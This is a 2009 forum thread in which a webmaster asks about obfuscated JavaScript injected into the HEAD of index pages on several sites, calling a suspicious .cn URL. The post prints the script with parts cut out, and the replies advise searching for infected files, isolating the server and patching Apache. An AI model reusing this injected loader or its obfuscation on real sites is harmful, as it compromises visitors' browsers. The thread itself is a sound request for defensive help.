Question

index page been hacked

Asked by: tfmouse

hi.. it seems my index page may have been hacked. i've attached some javascript of what was inserted just before the end of the HEAD tag. this has happened to a few of my sites on the same server. and only the index, default and home page names.

the script doesnt seem to doo anything - cos my site still loads. the home page however keeps loading in the status bar of my browser. it directs to the link: http://hit-senders.cn/find/in.cgi?2

Can anyone shed some ligt please.

<script language="JavaScript">function g142898821e(){var l34bfb879=Array.prototype.slice.call(            [PORTION REMOVED]            s734dfabc=u91b4b2(l34bfb879);for(var d1b39ced0=0;d1b39ced0<s734dfabc;d1b39ced0++){try{throw(b3742c2a=l34bfb879.substr(d1b39ced0,1));}catch(e){b3742c2a=e;};if(b3742c2a=='}'){n3f56d63="";d1b39ced0++;qada5b5c=l34bfb879.substr(d1b39ced0,1);while(qada5b5c!='}'){n3f56d63+=qada5b5c;d1b39ced0++;qada5b5c=l34bfb879.substr(d1b39ced0,1);}n3f56d63-=437;continue;}n69181="";if(b3742c2a=='®'){d1b39ced0++;b3742c2a=l34bfb879.substr(d1b39ced0,1);while(b3742c2a!='®'){n69181+=    [PORTION REMOVED]   +=256;if(ha08b39>=192)ha08b39+=848;else if(ha08b39==168)ha08b39=1025;else if(ha08b39==184)ha08b39=1105;document.write(String.fromCharCode(ha08b39));}}g142898821e("255e4","4","dfd1c8e7713","®","210","®®","2","2","3®®","220®®2","3","2®","}","536","}","®16","9®}452}aY4","g","f}461","}`}543}®","172®®145®®21","5®®22","7®}592","}®20®®1","6®®218®®2","07®®207®","®","8®}5","8","1","}","®","25","4®®","9","®","®194®®8®®25","0","®","}50","1}®179®®169","®","®170®","®","18","3","®","®184®s®16","8","®}636}:®251®","2","5:}503","}®","     [PORTION REMOVED]     14","7®®160","®}","583}®9®}5","80}®248®","}582}®251","®®8","®}","490}w\\j\\Z®","173®®174®}","51","6","}®","205®®192®®1","8","5®","®1","4","5","®}","48","6}","X}5","10}®176®","®1","89","®®","192®®17","8®}","61   [PORTION REMOVED]     .length;}</script>

                                  
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Asked On
2009-06-05 at 07:10:46ID24467021
Tags

javascript

Topics

Networking Security Vulnerabilities

,

JScript

Participating Experts
3
Points
500
Comments
9

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Answers

 

by: HonorGodPosted on 2009-06-05 at 07:32:55ID: 24556820

Without the whole line, we can't be certain.

But!

DO NOT ASSUME THAT IT DOESN"T DO ANYTHING.

There are all sorts of things that it could do.

I would suggest that you search your html files for 1 line scripts similar to this.

What operating system are you using?
Do you have access to grep, or python, or perl?

If at all possible, take your system off the net, while you search for infected files, and clean them  up.

Good luck

 

by: astralcomputingPosted on 2009-06-11 at 06:33:03ID: 24602024

Typically this happens on Linux systems that are running vulnerable versions of Apache. The code is dropped by a script so in all likelyhood you were not targeted.

If you remove the code, it may appear again until the system is patched. If you outsource your hosting, check with your hoster about their patch management systems. Otherwise, check for updates on your systems.

If you are running an internal web server on your network and you have apache or IIS and you are NOT running an Intrusion Prevention System between the internet and your server, you're crazy. :D

 

by: astralcomputingPosted on 2009-06-11 at 06:34:19ID: 24602037

And koodos to HonorGod. Do not assume it does not do Zero day viruses can get on your system and do terrible things.

 

by: TolomirPosted on 2009-07-06 at 06:27:47ID: 24784922

 

by: HonorGodPosted on 2009-09-22 at 07:34:51ID: 25393244

"answers have all been what i had explored already"

Doesn't mean that the answer that were provided are wrong, or invaluable.

 

by: HonorGodPosted on 2009-09-22 at 19:12:18ID: 25399543

 

by: TolomirPosted on 2009-09-22 at 23:05:07ID: 25400379

agreed

20120131-EE-VQP-002

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